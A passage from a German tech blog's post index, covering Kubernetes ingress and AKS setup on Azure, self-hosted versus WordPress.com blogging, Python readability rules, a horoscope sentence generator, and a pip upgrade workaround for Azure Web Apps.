rules: - host: quisl.de http: paths: - backend: name: wordpress port: number: 80 path: /(.*) pathType: ImplementationSpecific - host: www.quisl.de http: paths: - backend: name: wordpress port: number: 80 path: /(.*) pathType: ImplementationSpecific Im metadata Teil werden spezielle Konfigurationen für die Syntax der Pfade, die Klasse des ingresscontrollers (NGINX) oder der Certificate Manager Controller (letsencrypt) gesetzt.\nDer Punkt spec ist zweiteilig:\ntls - hier stehen die Domänen, für die ein SSL Zertifikat bereitgestellt werden soll, sowie der Name eines Secrets das für den Certification Manager benötigt wird.\nrules - hier definiere ich Weiterleitungsregeln anhand des Domainnamens, der URL sowie des Ports. Dazu musste ich einfach den Namen und den Port einer Webapp (hier wordpress:80) nennen.\nAbschließende Gedanken Je mehr Webanwendungen du auf deinem Cluster verwaltest, desto größer wird dein Drang nach Struktur. Der Ingress Controller kann helfen da du hierdurch eine zentrale Stelle hat die alle Apps \u0026ldquo;kennt\u0026rdquo;.\nFür mich ist das automatische Verwalten der SSL Zertifikate ein großer Pluspunkt da dies ein Thema ist, mit dem ich mich nicht wirklich bei jeder neuen Web-App beschäftigen will.\nAuch das Einsparen der Statischen IP-Adressen hat mir unheimlich viele Kosten erspart.\nWie du einen Ingress Controller auf deinem eigenen Azure Kubernetes Service einrichtest kannst du im Tutorial von Microsoft Azure nachlesen.\n","permalink":"https://quisl.de/b/kubernetes-ingress-controller-konzept/","summary":"Als Ingress Controller wird eine spezielle App auf deinem Kubernetescluster bezeichnet, die alle eingehenden Datenströme entgegennimmt und an deine entsprechenden internen Apps weiterleitet.\nAls \u0026ldquo;Reverse Proxy\u0026rdquo; fungiert sie quasi als Empfangsbüro für deinen Kubernetes Cluster.\nWie du mit dem Ingress Controller automatisch SSL Zertifikate bei Let\u0026rsquo;s Encrypt beantragen kannst um HTTPS zu verwenden lernst du hier.\nIn diesem Beitrag lernst du das Konzept eines Ingress Controllers kennen und wie es dir helfen kann:","title":"Kubernetes Ingress Controller Konzept"},{"content":"Betreust du mehrere Webanwendungen und möchtest die Infrastruktur unabhängig voneinander aber trotzdem kosteneffizient gestalten? Kubernetes kann die Lösung sein!\nIn diesem Artikel erfährst du wie du deinen eigenen Kubernetes Cluster in der Azure Cloud anlegst und bespielst.\nVor einiger Zeit habe ich angefangen mich mehr mit Kubernetes zu beschäftigen. Diesen Blog liest du übrigens gerade von meinem Kubernetes Cluster! Kubernetes hat den großen Vorteil, dass man viele Programme auf demselben System laufen lassen kann. Ohne, dass diese sich gegenseitig beeinflussen. Leider ist die Installation und Wartung manchmal nervenaufreibend. Doch genau hier schafft Azure Kubernetes Service Abhilfe, indem es diese komplett übernimmt.\nSchritt #1 Erstelle einen Azure Account Den Azure Zugang kannst du dir direkt auf der Webseite von Microsoft erstellen. Dazu benötigst du einen Microsoft oder einen GitHub Account. Als Neukunde kriegt man für den ersten Monat 170 € Guthaben zum Ausprobieren geschenkt. Mein Rat ist, dass du das Guthaben für sinnvolle Tests benutzt, anstatt direkt alles in Bitcoin Mining zu stecken, aber du kannst natürlich tun und lassen, was du willst. ;)\nBei der Anmeldung musst du eine Telefonnummer, eine Kreditkarte oder Debitkarte hinterlegen. Als Zahlungsmethoden wird Kreditkarte und Überweisung angeboten.\nZum Account erstellen hier klicken!\nSchritt #2 Lege eine AKS Ressource an Ist der Azure Account eingerichtet kannst du deine erste Ressource anlegen. Azure Ressourcen können über viele Wege erstellt werden, hier ein paar Beispiele:\nAzure Portal Azure REST API Azure CLI (AZ Tool) Windows PowerShell SDKs Azure DevOps und natürlich mit third-party Tools (wie Terraform, GitLab, Jenkins\u0026hellip;) Als Anfänger ist sicherlich das Azure Portal am einfachsten zu bedienen. Zu Dokumentationszwecken ist das Portal jedoch nicht geeignet, da sich das Layout der Weboberfläche jederzeit ändern kann (passiert zum Glück nur selten).\nAus diesem Grund verwende ich in diesem Beitrag das Azure CLI Tool (az). Zumal es für die gängigsten Betriebssysteme Windows, Linux und Mac downloadbar ist. Installationsanweisungen für az findest du hier.\nNach der Installation kannst du dich mit folgendem Befehl anmelden.\naz login Dann sollte eine Login-URL angezeigt werden, die du mit einem Browser öffnen und dich bei Azure anmelden kannst. Auf Windows wird das Browserfenster automatisch geöffnet.\nHast du einen Unternehmensaccount oder aus anderen Gründen mehrere Subscriptions mit deinem Account verknüpft, musst du jetzt noch deine Subscription wählen. Alle anderen können den Punkt ignorieren.\naz account set --subscription \u0026#34;NAME DER SUBSCRIPTION\u0026#34; Ressourcen sind in Azure immer in Ressourcengruppen sortiert, deswegen solltest du zunächst eine erstellen. In diesem Beispiel erstelle ich die Ressourcengruppe \u0026ldquo;azurecluster-rg\u0026rdquo; in \u0026ldquo;westeurope\u0026rdquo;, einem Rechenzentrum bei Amsterdam.\naz group create --name azurecluster-rg --location westeurope Jetzt kannst du endlich den Kubernetes Cluster in deiner Ressourcengruppe erzeugen. Der folgende Befehl erzeugt einen AKS Cluster mit einem Node.\naz aks create --resource-group azurecluster-rg --name meincluster-aks --node-count 1 --generate-ssh-keys --node-vm-size Standard_B2s Erfahrungsgemäß kann die Clusterbereitstellung einige Minuten dauern. Ab diesen Zeitpunkt wird Microsoft dir für den Server Geld auf die Rechnung schreiben. Ein Cluster dieser (ziemlich kleinen) Größe wird dich - Stand April 2021 - etwa 30 € pro Monat kosten. Wenn du den Node direkt für 3 Jahre reservierst, kannst du die Kosten auf unter 12 € drücken. (Preise)\nFür Tests verwende ich gerne Nodegrößen aus der Standard_B Reihe. Das sind CPU's, die dazu gedacht sind die meiste Zeit auf niedriger Last laufen und nur kurze Leistungsspitzen haben. Zum Beispiel Webserver oder kleine Datenbanken. Die Alternativen kannst du hier nachschlagen. Der Standard_B2s bietet dir 2 vCPU Kerne und 4 GiB RAM.\nSchritt #3 Teste deine Umgebung Das Programm kubectl ist das wichtigste Programm um mit deinem Kubernetes Cluster zu kommunizieren. Installationsanweisungen findest du auf der Projektwebseite von Kubernetes.\nEs kann notfalls auch mithilfe von AZ installiert werden.\naz aks install-cli Verbindung zum Cluster Nach der Installation musst du dem Programm als Erstes sagen um welchen Server es sich handelt. Das funktioniert mithilfe einer Konfigurationsdatei. Auf Windows ist diese meistens unter C:\\Users\\BENUTZERNAME\\.kube zu finden.\nGlücklicherweise musst du diese Datei nicht selbst ausfüllen, sondern kannst AZ das für dich machen lassen.\naz aks get-credentials --resource-group azurecluster-rg --name meincluster-aks Jetzt sollte kubectl fertig eingerichtet sein. Zum Testen kannst du dir zum Beispiel alle Nodes auflisten lassen.\nkubectl get nodes Jetzt bist du mit der eigentlichen Einrichtung fertig und kannst mit dem Deployment deiner Webanwendungen anfangen.\nDeine erste Webapp Für den Anfang gebe ich dir jetzt noch eine kleine Hallo-Welt Anwendung mit\u0026hellip; Dazu brauchst du eine neue Datei \u0026ldquo;deploy.yaml\u0026rdquo; mit folgendem Inhalt:\napiVersion: apps/v1 kind: Deployment metadata: name: hallo-welt-deployment spec: selector: matchLabels: app: hallo-welt-programm template: metadata: labels: app: hallo-welt-programm spec: containers: - name: hallowelt image: nginxdemos/hello ports: - containerPort: 80 --- apiVersion: v1 kind: Service metadata: name: hallo-welt-service spec: type: LoadBalancer ports: - port: 80 selector: app: hallo-welt-programm Diese Datei kann mit dem apply Befehl deployt werden. Beachte, dass hierdurch eine Statische IP-Adresse und ein Loadbalancer bei Azure anmietet werden, wodurch Kosten entstehen können, wenn es zu lange läuft.\nkubectl apply -f deploy.yaml Wie nachfolgend gezeigt, kannst du dir die externe IP-Adresse des Services anzeigen lassen.\nkubectl get services NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE\rhallo-welt-service LoadBalancer 10.0.158.88 51.105.103.64 80:32694/TCP 3m38s\rkubernetes ClusterIP 10.0.0.1 \u0026lt;none\u0026gt; 443/TCP 44m In meinem Fall \u0026ldquo;51.105.103.64\u0026rdquo;. Kopierst du diese in deinen Browser, sollte ein Ergebnis angezeigt werden.\nLöschen des Clusters Achte am Ende darauf, dass du alles was kosten erzeugst wieder deaktivierst. Am leichtesten geht das wahrscheinlich, indem du den ganzen Cluster löschst.\naz aks delete --name MEINAKSCLUSTER --resource-group azurecluster-rg Fazit Dies ist natürlich nur der Anfang. AKS und Kubernetes haben deutlich mehr zu bieten.\nSo kann man einen Ingresscontroller Container einsetzen um nicht für jedes Projekt eine eigene IP-Adresse und einen Loadbalancer bezahlen zu müssen. Man kann die einzelnen Projekte auf Namespaces aufteilen, sodass sie viel einfacher verwaltet werden können. Man kann Azure Storages einbinden und diese automatisch von AKS verwalten lassen. Man kann alle möglichen Docker Container integrieren und sogar seine eigenen benutzen. Und natürlich noch sehr viel mehr.\nAll diese Punkte würden allerdings den Rahmen dieser Einführung sprengen. Kubernetes kann manchmal etwas fummelig sein, aber ich hoffe du hattest trotzdem Spaß!\nWenn dir dieser Artikel gefallen hat und du tiefer in die Welt von Azure Kubernetes Service einsteigen möchtest, dann habe ich noch ein paar Buchempfehlungen für dich. Durch den Kauf über die folgenden Links, unterstützt du mich und diesen Blog ohne mehr als sonst zu bezahlen.\n","permalink":"https://quisl.de/b/wie-du-deinen-eigenen-kubernetes-cluster-in-der-azure-cloud-in-3-einfachen-schritten-anlegst-fuer-anfaenger/","summary":"Betreust du mehrere Webanwendungen und möchtest die Infrastruktur unabhängig voneinander aber trotzdem kosteneffizient gestalten? Kubernetes kann die Lösung sein!\nIn diesem Artikel erfährst du wie du deinen eigenen Kubernetes Cluster in der Azure Cloud anlegst und bespielst.\nVor einiger Zeit habe ich angefangen mich mehr mit Kubernetes zu beschäftigen. Diesen Blog liest du übrigens gerade von meinem Kubernetes Cluster! Kubernetes hat den großen Vorteil, dass man viele Programme auf demselben System laufen lassen kann.","title":"Wie du deinen eigenen Kubernetes Cluster in der Azure Cloud in 3 einfachen Schritten anlegst - Tutorial für Anfänger"},{"content":"Bis dato habe ich diesen Blog auf WordPress.com hosten lassen. Damit soll nun Schluss sein.\nMan kann seinen Blog hosten lassen oder selbst hosten. In diesem Eintrag möchte ich die beiden Varianten gegenüberstellen und meine Beweggründe teilen warum, ich meinen Blog künftig selbst hosten werde. Für euch kann ein anderes Ergebnis herauskommen, daher lest euch gerne die Argumente durch und wägt selbst ab!\nÜbersicht WordPress ist mit ca. 40 % Anteil an allen Content-Management Systemen das am weitesten verbreitete für Webseiten. Unter einer Million der meistbesuchten Websites nutzt rund ein Drittel WordPress.\nDie Firma Automattic betreibt unter anderem die beiden Seiten WordPress.org und WordPress.com. Ersteres ist die Seite auf der die Open-Source-Software WordPress vorgestellt und verwaltet wird. Zweiteres ist eine Webseite, mit der man auf einen fertig konfigurierten und online gestellten WordPress zurückgreifen kann ohne sich mit der darunterliegenden Technik auseinandersetzen zu müssen.\nLasst uns in die Bücher gehen\u0026hellip;\nEinrichtung Die Einrichtung von WordPress.com ist ziemlich einfach gehalten. Man muss sich einen Account erstellen und ein Theme aussuchen und schon kann man anfangen die ersten Blogbeiträge zu schreiben. Wer Geld in die Hand nimmt, kann hier sogar eine eigene Domain registrieren.\nBei der selbst gehosteten Variante muss man sich zunächst mit allerlei technischen Hürden auseinandersetzen. Man braucht einen Server, auf dem die WordPress Software läuft, eine SQL Datenbank für das Backend, eine Domain, ein signiertes SSL Zertifikat und so weiter\u0026hellip;\nBei der Einrichtung geht der Punkt ganz klar an die fremd gehostete Variante: 0-1\nKosten Der eigene Blog ist auf WordPress.com erstmal kostenlos. Allerdings wird man schnell feststellen, dass man mit Echtgeld deutlich mehr bekommt.\nEs werden unterschiedliche Tarifpakete angeboten die aufeinander aufbauen und mehr Features bieten je mehr Geld man auf den Tisch legt. Hier ein Auszug:\nDomain Jetpack Plugin Support per Email mehr Themes, Plugins \u0026amp; Designoptionen Speicherplatz Werbefreiheit oder Monetarisierung Vertriebs Features Videos E-Commerce Features Paket Kosten im Monat Speicherplatz Gratis 0 € 3 GB Persönlich 4 € 8 GB Premium 8 € 13 GB Business 25 € 200 GB E-Commerce 45 € 200 GB Beim selber hosten muss man sich natürlich selbst um diese ganzen Features kümmern. Welche man braucht und welche nicht ist natürlich individuell.\nTrotzdem hier ein paar Kostenanregungen:\nItem Kosten im Monat VM (B1S* bei Azure) ~3-7 € Statische IP (bei Azure) ~3 € .de Domäne (bei Strato) 1 € SSL Zertifikat (bei LetsEncrypt) 0 € *mehr Leistung = mehr Kosten\nWas man braucht und was man nicht, braucht, ist natürlich von deinen Vorstellungen abhängig. Will man das Bloggen erstmal nur ausprobieren tut es sicherlich der Gratisblog von WordPress.com. Um professioneller zu wirken, muss man in beiden Fällen Geld in die Hand nehmen. Will man auf leistungsintensive serverseitige Berechnungen zurückgreifen wird man um die selbst gehostete Variante nicht drum rumkommen.\nIch denke hier haben wir ein Unentschieden: 1-2\nErweiterbarkeit Die WordPress Community hat mittlerweile tausende von Plugins entwickelt, die man auf dem eigenen WordPress einsetzen kann. Diese können über im Adminmenü gesucht, installiert und konfiguriert werden.\nEinige der beliebtesten Plugins stehen auch auf WordPress.com zur Verfügung. Hier ist die Auswahl allerdings deutlich kleiner. So habe ich etwa beim Aufsetzen meines ersten Blogs keine Möglichkeit gehabt Posts in Git-Flavoured Markdownschreibweise zu schreiben. Manch andere nützliche Tools wie das Google Analytics Plugin sind erst bei bezahlten Tarifen installierbar.\nObjektiv geht dieser Punkt an die selbst gehostete Variante: 2-2\nRechtliches Der letzte Punkt ist rechtlicher Natur\u0026hellip;\nWill man auf die Services von WordPress.com zurückgreifen muss man sich natürlich an deren Regeln halten. Diese sind in den Terms of Services festgelegt. Darüber hinaus ist anzumerken, dass WordPress.com in den USA sitzt und man sich so auch dem US Recht beugen muss. So ist in den TOS beispielsweise geregelt, dass man die Services nicht nutzen darf, wenn man auf der Schwarzen Liste der USA geführt wird (Punkt 19).\nNebenbei: Auf manchen Blogs findet man die Information, dass man die Rechte an den eigenen Inhalten an WordPress.com abtritt. Dem ist nicht so. In den TOS ist das in Punkt 8) A) wie folgt ausgedrückt:\nDeine Inhalte gehören uns nicht und du behältst alle Eigentumsrechte an den Inhalten, die du auf deiner Website veröffentlichst. Auch dieser Punkt geht klar an die selbst gehostete Variante: 3-2\nMein Fazit Ich persönlich bin auf die selbst gehostete Variante gegangen, weil ich gerne mehr Plugins nutzen will, auf die ich teilweise sonst keinen Zugriff gehabt hätte:\nGDPR Cookie Consent Options for Twenty Twenty-One Site Kit by Google Statify WP Githuber MD Da ich seit einiger Zeit sowieso einen eigenen Kubernetes Cluster betreibe, kann ich auf diesen zusätzlich noch einen WordPress und einen SQL Container laufen lassen. Dadurch kann ich den Blog quasi ohne weitere Kosten hosten - bis auf den Domainnamen.\n","permalink":"https://quisl.de/b/eigener-wordpress-oder-wordpress-com-zwei-hostingvarianten-im-vergleich/","summary":"Bis dato habe ich diesen Blog auf WordPress.com hosten lassen. Damit soll nun Schluss sein.\nMan kann seinen Blog hosten lassen oder selbst hosten. In diesem Eintrag möchte ich die beiden Varianten gegenüberstellen und meine Beweggründe teilen warum, ich meinen Blog künftig selbst hosten werde. Für euch kann ein anderes Ergebnis herauskommen, daher lest euch gerne die Argumente durch und wägt selbst ab!\nÜbersicht WordPress ist mit ca. 40 % Anteil an allen Content-Management Systemen das am weitesten verbreitete für Webseiten.","title":"Eigener WordPress oder WordPress.com - zwei Hostingvarianten im Vergleich"},{"content":"Ein alter Bekannter sagte immer: \u0026ldquo;Quellcode ist da um gelesen zu werden\u0026rdquo;. Genau darum geht es.\nWie schreibt man guten Python Code? Was ist guter Code überhaupt? Für manche (mich damals eingeschlossen) mag das jetzt etwas hart klingen, aber dynamische Sprachen wie PHP, oder Python benutzt man nicht, um besonders effiziente Programme zu schreiben. Das können die hardwarenahen Sprachen wie C und Assembler besser. Python ist cool, weil man damit sehr schnell etwas zum Laufen bringen kann und der Code meist sehr einfach zu lesen und zu verstehen ist. Meistens\u0026hellip; Segen und Fluch der Tatsache, dass Programme fast schneller gecodet als geplant sind ist ein leider allzu oft resultierender unlesbarer Spagetticode. Um das zu verhindert habe ich im Laufe der Jahre ein paar Grundregeln der Pythonprogrammierung aufgestellt, mit denen der Code besonders schön wird. Viel Spaß beim Lesen!\nPEP8 Die Pythonentwickler propagieren auf ihrer Webseite den Style Guide for Python Code. Ihr tut gut daran zumindest mal reingeguckt zu haben. Das Dokument findet ihr hier. Linting Benutzt auf jeden Fall ein Linter Tool. Pylint ist eine gute Variante. Das hilft nicht nur den Code lesbarer zu machen, sondern deutet auch hin und wieder auf strukturelle Probleme hin. Autoformater Black, Autopep8 etc. Egal welcher euch gut gefällt. Benutzt einen und stellt sicher, dass alle Entwickler die am selben Projekt arbeiten denselben benutzen. Vor allem bei Python ist es wichtig, dass es eine einheitliche Regelung zum Thema Tab vs Leertaste oder Doublequotes vs Singlequotes gibt. Zeilenlänge Auch wenn es ein Artefakt als längst vergangener Zeit ist, in der die Monitore noch Würfelförmig waren: Haltet eure Zeilen unter 100, besser unter 80 Zeichen. Es gibt nichts Schlimmeres als Zeilenumbrüche im Python Code. Entwickler, die euren Code pflegen, werden es euch danken. Diese Regel verhindert übrigens auch, dass ihr zu viele Funktionen in einer einzelnen Zeile kaskadiert und dadurch unlesbare Monstren erschafft. ;) Funktionslänge Versucht die Zeilenlänge von 5 Zeilen pro Funktion nicht zu überschreiten. Eine Funktion sollte genau eine Sache tun. Falls man einen Teil aus einer Funktion in eine neue Funktion schieben kann, sollte man das auch tun! Kurzer Code Lest euren Code durch bevor ihr ihn eincheckt. Kann man irgendwas durch Pythons Build-in Funktionen umsetzen? Funktionen wie map() oder filter() können durchaus die ein oder andere For-Schleife ersetzen. Einrückungen Beschränkt euch auf 2 Einrückungsblöcke pro Funktion. Solltet ihr mehr brauchen macht eure Funktion zu viele Dinge. In dem Fall solltet ihr sie in mehrere Funktionen aufspalten (Siehe Regel 5). Parameter Funktionen sollten nicht mehr als 3 Parameter haben. Besser sind 2 oder weniger. Seid ihr der Meinung, dass das gar nicht funktionieren kann, ist es ein gutes Zeichen dafür, dass ihr die ein oder andere Klasse erschaffen solltet oder dass eure Funktionen zu groß sind. Kommentare Kommentare sind dazu da unlesbaren Code verständlich zu machen. Da es in diesem Text darum geht, gut lesbaren Code zu schreiben sollten Kommentare überflüssig sein. Versucht die Dinge im Code zu erklären, indem ihr Funktionen und Variablen sprechend benennt. Ausnahmen in denen Kommentare durchaus Sinn ergeben sind schwer lesbare Fragmente wie etwa reguläre Ausdrücke. Docstrings zählen in meinen Augen nicht zu den Kommentaren und sind demnach Pflicht für jedes Modul. ","permalink":"https://quisl.de/b/lesbarer-python-code-9-grundregeln/","summary":"Ein alter Bekannter sagte immer: \u0026ldquo;Quellcode ist da um gelesen zu werden\u0026rdquo;. Genau darum geht es.\nWie schreibt man guten Python Code? Was ist guter Code überhaupt? Für manche (mich damals eingeschlossen) mag das jetzt etwas hart klingen, aber dynamische Sprachen wie PHP, oder Python benutzt man nicht, um besonders effiziente Programme zu schreiben. Das können die hardwarenahen Sprachen wie C und Assembler besser. Python ist cool, weil man damit sehr schnell etwas zum Laufen bringen kann und der Code meist sehr einfach zu lesen und zu verstehen ist.","title":"Lesbarer Python Code 9 Grundregeln"},{"content":"Für mein Twitch Horoskop Projekt brauchte ich ein Stück Software, das mir einen grammatikalisch korrekten Satz auf Englisch erzeugen kann. Quasi einen Satzgenerator. Dieser sollte in Python laufen, da das weitere Projekt darauf aufbaut.\nFolgende Punkte waren mir wichtig: Es sollte die Möglichkeit geben einen Seed in Form eines Parameters, als String mitzugeben. Dieser Seed soll sicherstellen, dass mir die Funktion denselben Satz bei mehrmaliger Ausführung zurückliefert, solange sich der Seed nicht ändert. Darüber hinaus möchte ich die Horoskope etwas Persönlicher erscheinen lassen, indem ich die Namen von Streamern die dieser Streamer folgt gelegentlich in das Horoskop einbaue. Dies geschieht mit einem zweiten Parameter. Da ich zukünftig vielleicht unterschiedlich lange Horoskope erstellen möchte, sollte ein letzter Parameter die Anzahl der zurückgegebenen Horoskope einstellbar machen.\nSatzstrukturen Zunächst schaute ich mir ein paar Horoskope aus dem Internet an. Dabei fiel auf, dass sie oft sehr ähnliche Wörter und Satzstrukturen verwenden. Ich schrieb mir ein paar davon raus:\nBla you will bla bla, and it will bla. If bla, then bla. If bla, bla. Bla bla is bla, which means that you should bla bla bla blabla. Bla bla and bla. Weil ich nicht so statisch wirkende Horoskope generieren will und ich es in diesem Fall nicht schlimm finde, wenn ein Horoskop aus mehreren Sätzen besteht, erweitere ich diese Strukturen etwas und schreibe sie in eine Liste von Objekten:\n[ { \u0026#34;structure\u0026#34;: \u0026#34;%s you will %s %s, and it will %s. %s.\u0026#34;, \u0026#34;parts\u0026#34;: [ [ \u0026#34;Today\u0026#34;, \u0026#34;This week\u0026#34;, \u0026#34;Soon\u0026#34;, ], [ \u0026#34;stumble across\u0026#34;, \u0026#34;find\u0026#34;, \u0026#34;discover\u0026#34;, \u0026#34;uncover\u0026#34;, ], [ \u0026#34;a long forgotten meme\u0026#34;, \u0026#34;a game from your childhood\u0026#34;, \u0026#34;a fact about {{streamername}}\u0026#34;, ], [ \u0026#34;become important to you\u0026#34;, \u0026#34;take on a new meaning to you\u0026#34;, \u0026#34;take on new meaning in your life\u0026#34;, ], [ \u0026#34;Sieze this day as your own\u0026#34;, \u0026#34;Don\u0026#39;t let this opportunity pass you by\u0026#34;, ], ], }, { \u0026#34;structure\u0026#34;: \u0026#34;If %s, then %s. %s.\u0026#34;, \u0026#34;parts\u0026#34;: [ [ \u0026#34;you plan to look for cat videos on Youtube\u0026#34;, \u0026#34;you plan to spam random emotes in the chat\u0026#34;, \u0026#34;you consider becoming a fulltime chess player\u0026#34;, \u0026#34;you plan to go to the next Twitchcon\u0026#34;, \u0026#34;you consider founding an eSports team\u0026#34;, ], [ \u0026#34;this may be a big year for you\u0026#34;, \u0026#34;don\u0026#39;t put it off\u0026#34;, \u0026#34;you might just be right\u0026#34;, \u0026#34;you need to think about it more\u0026#34;, \u0026#34;you might be right\u0026#34;, \u0026#34;you arleady might know what to do\u0026#34;, \u0026#34;{{streamername}} would agree\u0026#34;, ], [ \u0026#34;If that doesn\u0026#39;t make sense for you, then the time is obviously wrong\u0026#34;, \u0026#34;But it\u0026#39;s never too late to reconsider your options\u0026#34;, \u0026#34;When in doubt, consult someone wiser than you\u0026#34;, \u0026#34;There\u0026#39;s no reason to rush into anything rash\u0026#34;, ], ], }, { \u0026#34;structure\u0026#34;: \u0026#34;If %s, %s. %s that %s. %s\u0026#34;, \u0026#34;parts\u0026#34;: [ ... ] }, { \u0026#34;structure\u0026#34;: \u0026#34;%s %s is %s, which means that you should %s %s %s %s%s.%s%s\u0026#34;, \u0026#34;parts\u0026#34;: [ ... ] }, { \u0026#34;structure\u0026#34;: \u0026#34;%s. %s %s and %s.%s%s\u0026#34;, \u0026#34;parts\u0026#34;: [ ... ] }, } Um Platz in deinem Browser zu speichern habe ich diese Liste oben im Beispiel verkürzt. Bei mir ist sie natürlich komplett ausgefüllt\u0026hellip;\nSatzgeneratorfunktion Ist diese Satzliste mit Memes gefüllt können wir endlich eine Funktion schreiben die uns die Sätze generiert:\nfrom random import choice, seed, shuffle from jinja2 import Template def get_sentences(seedstring, yourstreamers, amount): \u0026#34;\u0026#34;\u0026#34;Generates your horoscope ! Args: seedstring (str): just any random str. Same string = same result yourstreamers (list): A list of str. Will be used within sentences amount (int): Amount of horoscopes, any positive number Returns list: A list of (str). each one representing an individual horoscope \u0026#34;\u0026#34;\u0026#34; seed(a=seedstring, version=2) shuffle(SENTENCEOBJECTS) sentences = [] for sentenceobj in SENTENCEOBJECTS: parts = map(choice, sentenceobj[parts]) sentence = sentenceobj[\u0026#34;structure\u0026#34;] % (tuple(parts)) sentence = Template(sentence).render( streamername=choice(yourstreamers) ) sentences.append(sentence) amount -= 1 if amount \u0026lt;= 0: break return sentences Diese Funktion funktioniert so:\nErst wird der Seed gesetzt. Der Seed beeinflusst die Wahl der choice Funktion. In der nächsten Zeile wird die Satzliste durchmischt damit nicht immer dieselbe Satzstruktur zuerst verwendet wird. Innerhalb der Schleife werden mit map + choice die Satzbausteine zufällig ausgewählt und anschließend mithilfe des Prozent-Operators in den Satz eingesetzt. Der Prozent-Operator nimmt unsere Liste nur in Tupleform. Der Template().render Befehl ersetzt die {{streamername}} Substrings meiner Sätze mit einem zufälligen Namen aus der Streamerliste. Das fertige Horoskop wird in die sentences Variable gespeichert und das ganze wird \u0026ldquo;amount\u0026rdquo; mal wiederholt. Am Ende geben wir die sentences Variable zurück.\nUm das ganze jetzt zu testen, müssen wir einfach die ganze Pythondatei importieren und als Funktion aufrufen:\nfrom horoscopesentences import get_sentences get_sentences(test,[test\\],2) [\\\u0026#39;Next Twitchcon you will uncover a very old meme, and it will take on a new meaning to you. Why not get started with the rest of your life today.\\\u0026#39;, If you are having a bad feeling abour your eSports careeryou don\\\u0026#39;t think you know exactly what you might want, then come to a decision and see it through. Understand that sometimes you can\\\u0026#39;t appreciate standing up unless you have first fallen down. \\] Fertige Funktion\nUngefähr so sieht das Ergebnis auf der fertigen Webseite aus\n","permalink":"https://quisl.de/b/satzgenerator-in-python/","summary":"Für mein Twitch Horoskop Projekt brauchte ich ein Stück Software, das mir einen grammatikalisch korrekten Satz auf Englisch erzeugen kann. Quasi einen Satzgenerator. Dieser sollte in Python laufen, da das weitere Projekt darauf aufbaut.\nFolgende Punkte waren mir wichtig: Es sollte die Möglichkeit geben einen Seed in Form eines Parameters, als String mitzugeben. Dieser Seed soll sicherstellen, dass mir die Funktion denselben Satz bei mehrmaliger Ausführung zurückliefert, solange sich der Seed nicht ändert.","title":"Wie du einen einfachen Satzgenerator für Horoskope in Python baust"},{"content":"Es gibt bei Azure Web Apps zurzeit einen Bug beim Verwenden des azure-storage Moduls mit Python 3.4. Wenn man mit der requirements.txt über Git versucht das Modul azure-storage einzubinden erhält man den Fehler Unable to find vcvarsall.bat.\nFehlerbeschreibung Azure Web Apps verwendet Python in der Version 3.4 und pip in der Version 1.5.6. In dieser pip Version gibt es den Parameter \u0026ndash;find-links nicht, der aber zum installieren verwendet wird.\nWorkaround Beim Azure Portal anmelden Die Web App auswählen In dem Menü auf der linken Seite auf Advanced Tools klicken Auf den Link: Go klicken Oben im Menü auf Tools \u0026ndash;\u0026gt; Download deployment script und die Zip Datei deploymentscript.zip herunterladen Datei entpacken und den Inhalt in euer git repository kopieren. Die Datei deploy.cmd editieren Zeile[code]echo Pip install requirements. env\\scripts\\pip install -r requirements.txt[/code] abändern in:[code]echo Upgrade pip package. env\\scripts\\python -m pip install pip \u0026ndash;upgrade IF !ERRORLEVEL! NEQ 0 goto error echo Pip install requirements. env\\scripts\\pip install -r requirements.txt[/code] Die beiden neuen Dateien zu git hinzufügen (git add .), commiten und erneut pushen. Komplette Fehlermeldung Counting objects: 3, don. Delta compression using up to 4 threads. Compressing objects: 100% (3/3), done. Writing objects: 100% (3/3), 289 bytes | 289.00 KiB/s, done. Total 3 (delta 2), reused 0 (delta 0) remote: Updating branch \\\u0026#39;master\\\u0026#39;. remote: Updating submodules. remote: Preparing deployment for commit id \\\u0026#39;39d58a751f\\\u0026#39;. remote: Generating deployment script. remote: Running deployment command... remote: Handling python deployment. remote: KuduSync.NET from: \\\u0026#39;D:\\\\home\\\\site\\\\repository\\\u0026#39; to: \\\u0026#39;D:\\\\home\\\\site\\\\wwwroot\\\u0026#39; remote: Copying file: \\\u0026#39;main.py\\\u0026#39; remote: Detected requirements.txt. You can skip Python specific steps with a .skipPythonDeployment file. remote: Detecting Python runtime from site configuration remote: Detected python-3.4 remote: Found compatible virtual environment. remote: Pip install requirements. remote: Requirement already satisfied (use --upgrade to upgrade): Flask==0.12.1 in d:\\\\home\\\\site\\\\wwwroot\\\\env\\\\lib\\\\site-packages (from -r requirements.txt (line 1)) remote: Downloading/unpacking azure-storage==0.34.3 (from -r requirements.txt (line 2)) remote: Downloading/unpacking python-dateutil (from azure-storage==0.34.3-\u0026amp;gt;-r requirements.txt (line 2)) remote: Downloading/unpacking azure-nspkg\u0026amp;gt;=2.0.0 (from azure-storage==0.34.3-\u0026amp;gt;-r requirements.txt (line 2)) remote: Downloading azure_nspkg-2.0.0-py2.py3-none-any.whl remote: Downloading/unpacking azure-common\u0026amp;gt;=1.1.5 (from azure-storage==0.34.3-\u0026amp;gt;-r requirements.txt (line 2)) remote: Downloading azure_common-1.1.8-py2.py3-none-any.whl remote: Downloading/unpacking cryptography (from azure-storage==0.34.3-\u0026amp;gt;-r requirements.txt (line 2)) remote: Running setup.py (path:D:\\\\home\\\\site\\\\wwwroot\\\\env\\\\build\\\\cryptography\\\\setup.py) egg_info for package cryptography remote: remote: no previously-included directories found matching \\\u0026#39;docs\\\\_build\\\u0026#39; remote: warning: no previously-included files matching \\\u0026#39;*\\\u0026#39; found under directory \\\u0026#39;vectors\\\u0026#39; remote: Downloading/unpacking requests (from azure-storage==0.34.3-\u0026amp;gt;-r requirements.txt (line 2)) remote: Downloading/unpacking six\u0026amp;gt;=1.5 (from python-dateutil-\u0026amp;gt;azure-storage==0.34.3-\u0026amp;gt;-r requirements.txt (line 2)) remote: Downloading six-1.11.0-py2.py3-none-any.whl remote: Downloading/unpacking idna\u0026amp;gt;=2.1 (from cryptography-\u0026amp;gt;azure-storage==0.34.3-\u0026amp;gt;-r requirements.txt (line 2)) remote: Downloading/unpacking asn1crypto\u0026amp;gt;=0.21.0 (from cryptography-\u0026amp;gt;azure-storage==0.34.3-\u0026amp;gt;-r requirements.txt (line 2)) remote: Downloading/unpacking cffi\u0026amp;gt;=1.7 (from cryptography-\u0026amp;gt;azure-storage==0.34.3-\u0026amp;gt;-r requirements.txt (line 2)) remote: Running setup.py (path:D:\\\\home\\\\site\\\\wwwroot\\\\env\\\\build\\\\cffi\\\\setup.py) 